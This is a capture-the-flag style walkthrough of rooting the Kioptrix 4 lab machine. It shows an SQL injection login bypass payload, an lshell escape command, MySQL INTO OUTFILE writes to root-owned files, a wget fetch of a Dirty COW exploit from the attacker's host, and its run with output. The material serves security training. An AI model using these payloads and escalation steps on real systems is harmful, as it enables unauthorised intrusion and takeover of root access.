Running Nmap (
nmap -sS -sV -Pn -vv -T4 10.2.0.104) revealed that SSH, Apache and Samba are all running on the host:
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
As Nmap wasn't able to fingerprint the exact version of Samba, I proceeded to find the NetBIOS name of the machine and connect to it using
smbclient to verify the version and list the shares:
root@kali:~# nmblookup -A 10.2.0.104 Looking up status of 10.2.0.104 KIOPTRIX4 <00> - B <ACTIVE> KIOPTRIX4 <03> - B <ACTIVE> KIOPTRIX4 <20> - B <ACTIVE> WORKGROUP <1e> - <GROUP> B <ACTIVE> WORKGROUP <00> - <GROUP> B <ACTIVE> MAC Address = 00-00-00-00-00-00 root@kali:~# smbclient -L \\KIOPTRIX4 -I 10.2.0.104 Enter root's password: Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu)) Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a] Server Comment --------- ------- KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)
With version 3.0.28a identified, I took a look at some of the vulnerabilities it is affected by, but seemingly nothing to use for initial access; so I moved on to the web server.
Web Server and SQLi Enumeration
Checking out the web server presented me instantly with a login page; naturally, the first thing I tried is the usual SQLi test.
I submitted the form with
admin as the username, and
'or'a'='a as the password, which seemingly logged me in and showed me this message:
User admin Oups, something went wrong with your member's page account. Please contact your local Administrator to fix the issue.
It seemed that the page was authenticating me, but then failing to load details of the user account due to
admin, presumably, not existing.
As this SQL injection was able to confirm when a username is invalid, I put together a small Python script to automate using this injection in combination with a wordlist:
This script will iterate through a wordlist (passed to it as the first argument), use the current line as the username value when submitting the form with the SQLi payload as the password and then check if it can find the constant "Oups, something went wrong". If the constant isn't found, it will flag up that the username appears to be valid.
root@kali:~/kioptrix4# python user_enum.py names.txt ++ Found user john ++ ++ Found user robert ++
Now that I had confirmed two valid usernames, I logged in to both accounts using the same SQL injection, and was presented with their passwords in plain text after logging in to each.
The plaintext password for
ADGAdsafdfwt4gadfga==, and the plaintext password for
Logged in to the
john accounts both present a low level, jailed shell. The only available commands were
Attempting to echo an environment variable returned an error message which suggested
lshell may be in use:
robert:~$ echo $SHELL *** forbidden path -> "/bin/kshell"
lshell is being used, and you have access to the
echo command, it can be escaped by running
echo os.system('/bin/bash'); which is what I did to gain full shell access.
SSH Access as Root
Now that I had a full shell, I looked at the contents of
/var/www/checklogin.php for some MySQL credentials and found that the web application is using the
root account with a blank password:
$host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name // Connect to server and select databse. mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB");
A look at the current process list also revealed that MySQL itself is running as
robert@Kioptrix4:/var/www$ ps aux | grep mysql root 4024 0.0 0.1 1772 528 ? S 15:03 0:00 /bin/sh /usr/bin/mysqld_safe root 4066 0.0 5.1 127176 26520 ? Sl 15:03 0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --skip- root 4068 0.0 0.1 1700 560 ? S 15:03 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld robert 4631 0.0 0.1 3004 752 pts/1 R+ 16:39 0:00 grep mysql
If a MySQL user isn't setup with the appropriate permissions, it is possible to write the results of queries to a file, which can be used to write arbitrary files.
A quick test showed that the
root user was able to output to files, and that the files were being written as the system
root user too:
mysql> select 'test' into outfile '/tmp/test.txt'; Query OK, 1 row affected (0.00 sec) *** robert@Kioptrix4:/var/www$ ls -l /tmp total 4 -rw-rw-rw- 1 root root 5 2017-08-01 16:40 test.txt robert@Kioptrix4:/var/www$ cat /tmp/test.txt test robert@Kioptrix4:/var/www$
With root file system access confirmed, I used the same query to write out a public key to
mysql> select 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRlj18X0JWCla6TpLSbSI63UINfVuHUkLBrvTAUvbsTMi1oKb75dATm5JgMdutK4mDT2+2hbPYN9Ckwu0okkXWwwlHxjlp1SD6iGEbKp9VeVfG9Dt8gzRILslxP0BNvYqLzAd/URal7j6B4trinm6sDFFlvRh0kMrjy4ziBL8P74Ham/QjBnPzvtpLzu9mhlfda7OoIifb0S0SaJ9657Ii4Cv5AaVOyo4tYVaY6Tsaw7SF+3TZ9QvZ5f8LYwlHFA4xHAlWO929491VUaOlhObO2AdeqkhcOEfHtCIarByjCHo+atjM0Wj6PEo7HtU3P7bUVSHwoIjI7IjqofOo+bK1 rastating' into outfile '/root/.ssh/authorized_keys'; Query OK, 1 row affected (0.00 sec)
I then tried to SSH as
root using the private key, but was presented with the password prompt instead; suggesting that OpenSSH is not configured to allow keys to be used; which could be confirmed by checking out
# Authentication: LoginGraceTime 120 PermitRootLogin yes StrictModes yes
Rooting with Dirty Cow
As SSH was out of the question, I moved on to attacking the kernel. I grabbed a copy of FireFart's dirty cow exploit from Exploit-DB (https://www.exploit-db.com/exploits/40839/) and compiled it locally, due to
gcc not being present on the target machine.
Once compiled, I started a local web server (
python -m SimpleHttpServer 5555) to transfer the exploit across, but it timed out each time; which suggested there was some egress filtering in place.
A quick look at
/etc/iptables.rules confirmed there were a number of restrictions on outgoing traffic, which would include port 5555, which I ran the HTTP server on:
robert@Kioptrix4:~$ cat /etc/iptables.rules # Generated by iptables-save v1.3.8 on Mon Feb 6 20:00:52 2012 *filter :INPUT ACCEPT [6150:1120650] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [969:93214] -A INPUT -p tcp -m tcp --dport 4444 -j DROP -A INPUT -p tcp -m tcp --dport 1337:6000 -j DROP -A INPUT -p tcp -m tcp --dport 10000:31337 -j DROP -A INPUT -p tcp -m tcp --dport 8080 -j DROP -A OUTPUT -p tcp -m tcp --dport 4444 -j DROP -A OUTPUT -p tcp -m tcp --dport 1337:6000 -j DROP -A OUTPUT -p tcp -m tcp --dport 10000:31337 -j DROP -A OUTPUT -p tcp -m tcp --dport 8080 -j DROP -A OUTPUT -p tcp -m tcp --dport 80 -j DROP -A OUTPUT -p tcp -m tcp --dport 21 -j DROP COMMIT # Completed on Mon Feb 6 20:00:52 2012
With the above rules in mind, I restarted the HTTP server and bound to port 81 instead, which allowed me to transfer the exploit, run it, and temporarily overwrite the root user:
robert@Kioptrix4:~$ wget 10.2.0.3:81/dirtycow --17:47:02-- http://10.2.0.3:81/dirtycow => `dirtycow' Connecting to 10.2.0.3:81... connected. HTTP request sent, awaiting response... 200 OK Length: 12,768 (12K) [application/octet-stream] 100%[=======================================================================================================>] 12,768 --.--K/s 17:47:02 (1.37 GB/s) - `dirtycow' saved [12768/12768] robert@Kioptrix4:~$ chmod +x dirtycow robert@Kioptrix4:~$ ./dirtycow /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: Complete line: rastating:fioaKmuWSeBhQ:0:0:pwned:/root:/bin/bash mmap: b7f6f000 madvise 0 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'rastating' and the password 'toor'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'rastating' and the password 'toor'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Now I was able to login as the new super user, restore the original
/etc/passwd to restore the
root user, switch to
root and finally read the flag:
Welcome to LigGoat Security Systems - We are Watching rastating@Kioptrix4:~# rm /etc/passwd rastating@Kioptrix4:~# mv /tmp/passwd.bak /etc/passwd rastating@Kioptrix4:~# su root root@Kioptrix4:~# ls -l total 8 -rw-r--r-- 1 root root 625 2012-02-06 10:48 congrats.txt drwxr-xr-x 8 loneferret loneferret 4096 2012-02-04 17:01 lshell-0.9.12 root@Kioptrix4:~# cat congrats.txt Congratulations! You've got root. There is more then one way to get root on this system. Try and find them. I've only tested two (2) methods, but it doesn't mean there aren't more. As always there's an easy way, and a not so easy way to pop this box. Look for other methods to get root privileges other than running an exploit. It took a while to make this. For one it's not as easy as it may look, and also work and family life are my priorities. Hobbies are low on my list. Really hope you enjoyed this one. If you haven't already, check out the other VMs available on: www.kioptrix.com Thanks for playing, loneferret